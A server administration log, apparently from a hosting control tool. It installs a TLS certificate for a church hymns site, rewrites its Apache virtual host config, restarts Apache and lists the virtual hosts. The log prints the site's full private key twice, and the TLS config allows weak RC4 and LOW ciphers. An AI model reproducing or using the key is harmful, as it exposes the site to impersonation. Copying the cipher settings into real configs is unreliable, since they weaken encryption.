IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-03 18:14:50: 

chmod 755 /tmp/pkp723661; /tmp/pkp723661; rm /tmp/pkp723661

2026-01-03 18:14:50: 


dir=/etc/ssl/certs


2026-01-03 18:14:50: 

PUT: /tmp/pkp592479

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-03 18:14:50: 

chmod 755 /tmp/pkp592479; /tmp/pkp592479; rm /tmp/pkp592479

2026-01-03 18:14:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>






2026-01-03 18:14:51: 

PUT: /tmp/pkp886170

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi


2026-01-03 18:14:51: 

chmod 755 /tmp/pkp886170; /tmp/pkp886170; rm /tmp/pkp886170

2026-01-03 18:14:51: 




2026-01-03 18:14:51: 

PUT: /tmp/pkp505870

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-03 18:14:52: 

chmod 755 /tmp/pkp505870; /tmp/pkp505870; rm /tmp/pkp505870

2026-01-03 18:14:52: 


.


2026-01-03 18:14:52: Establishing a connection
2026-01-03 18:14:53: 

PUT: /tmp/pkp684822

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 18:14:54: 

chmod 755 /tmp/pkp684822; /tmp/pkp684822; rm /tmp/pkp684822

2026-01-03 18:14:54: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 18:14:54: 

PUT: /tmp/pkp134841

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:14:55: 

chmod 755 /tmp/pkp134841; /tmp/pkp134841; rm /tmp/pkp134841

2026-01-03 18:14:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 18:14:55: 

PUT: /tmp/pkp651549

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:14:55: 

chmod 755 /tmp/pkp651549; /tmp/pkp651549; rm /tmp/pkp651549

2026-01-03 18:14:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
